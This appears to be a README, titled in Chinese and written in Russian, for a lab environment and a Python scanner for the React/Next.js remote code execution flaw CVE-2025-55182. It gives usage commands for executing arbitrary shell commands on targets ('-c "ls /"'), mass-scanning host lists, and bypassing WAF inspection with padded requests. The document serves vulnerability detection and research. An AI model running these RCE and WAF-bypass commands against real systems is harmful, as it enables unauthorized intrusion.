
CVE-2025-55182复现环境及RCE回显poc
| Компонент | Рекомендуемая версия для воспроизведения | Диапазон уязвимых версий |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) и выше |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 или 19.2.0 | от 19.0.0 до 19.2.0 |
| RSC Bundler | react-server-dom-webpack | от 19.0.0 до 19.2.0 |
Принудительная установка более низкой версии
cd cve-2025-55182-target
npm install --force
Проверка версий зависимостей
npm list react next
# Убедитесь, что вывод показывает [email protected] и [email protected]
Если в списке основных зависимостей отображаются [email protected] и [email protected], среда успешно зафиксирована в уязвимом состоянии. Предупреждения и сообщения об ошибках можно игнорировать.
Сборка:
npm run build
Запуск:
npm start
Сервер будет слушать http://localhost:3000. Среда готова, можно приступать к проверке уязвимости.
Обнаружение/сканирование уязвимости:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Инструмент командной строки для обнаружения CVE-2025-55182 и CVE-2025-66478 в приложениях Next.js, использующих React Server Components.
За техническими подробностями об уязвимости и методологии обнаружения обращайтесь к нашему блог-посту: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
По умолчанию сканер отправляет специально сформированный multipart POST-запрос, содержащий PoC-полезную нагрузку для RCE, которая выполняет детерминированную математическую операцию (41*271 = 11111). Уязвимые хосты возвращают результат в заголовке ответа X-Action-Redirect как /login?a=11111.
Сканер сначала проверяет корневой путь. Если он не уязвим, он следует за редиректами на том же хосте (например, / на /en/) и проверяет целевой URL редиректа. Междоменные редиректы не отслеживаются.
Флаг --safe-check использует альтернативный метод обнаружения, основанный на побочных индикаторах (код состояния 500 с определённым дайджестом ошибки), без выполнения кода на цели. Используйте этот режим, если нежелательно выполнение RCE.
Флаг --waf-bypass добавляет случайные мусорные данные в тело multipart-запроса. Это может помочь обойти проверку содержимого WAF, которая анализирует только первую часть тела запроса. Размер по умолчанию — 128 КБ, настраивается через --waf-bypass-size. При включённом обходе WAF тайм-аут автоматически увеличивается до 20 секунд (если не задан явно).
Флаг --windows переключает полезную нагрузку с Unix-шелла (echo $((41*271))) на PowerShell (powershell -c "41*271") для целей, работающих под Windows.
pip install -r requirements.txt
Сканирование одного хоста:
python3 scanner.py -u https://example.com
Сканирование списка хостов:
python3 scanner.py -l hosts.txt
Сканирование с несколькими потоками и сохранение результатов:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Сканирование с пользовательскими заголовками:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Использование безопасного обнаружения по побочным каналам:
python3 scanner.py -u https://example.com --safe-check
Сканирование Windows-целей:
python3 scanner.py -u https://example.com --windows
Сканирование с обходом WAF:
python3 scanner.py -u https://example.com --waf-bypass
RCE:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Одиночный URL для проверки
-c, --cmd Команда для выполнения
-l, --list Файл со списком хостов (по одному на строку)
-t, --threads Количество одновременных потоков (по умолчанию: 10)
--timeout Тайм-аут запроса в секундах (по умолчанию: 10)
-o, --output Файл для вывода результатов (JSON)
--all-results Сохранять все результаты, а не только уязвимые хосты
-k, --insecure Отключить проверку SSL-сертификата
-H, --header Пользовательский заголовок (можно использовать несколько раз)
-v, --verbose Показывать детали ответа для уязвимых хостов
-q, --quiet Выводить только уязвимые хосты
--no-color Отключить цветной вывод
--safe-check Использовать безопасное обнаружение по побочным каналам вместо RCE PoC
--windows Использовать полезную нагрузку Windows PowerShell вместо Unix-шелла
--waf-bypass Добавлять мусорные данные для обхода проверки содержимого WAF
--waf-bypass-size Размер мусорных данных в КБ (по умолчанию: 128)
RCE PoC изначально был опубликован @maple3142 — мы невероятно благодарны за их работу по публикации рабочего PoC.
Изначально этот инструмент был создан как безопасный способ обнаружения RCE. Эта функциональность по-прежнему доступна через --safe-check — режим «безопасного обнаружения».
Результаты выводятся в терминал. При использовании -o уязвимые хосты сохраняются в JSON-файл, содержащий полный HTTP-запрос и ответ для проверки.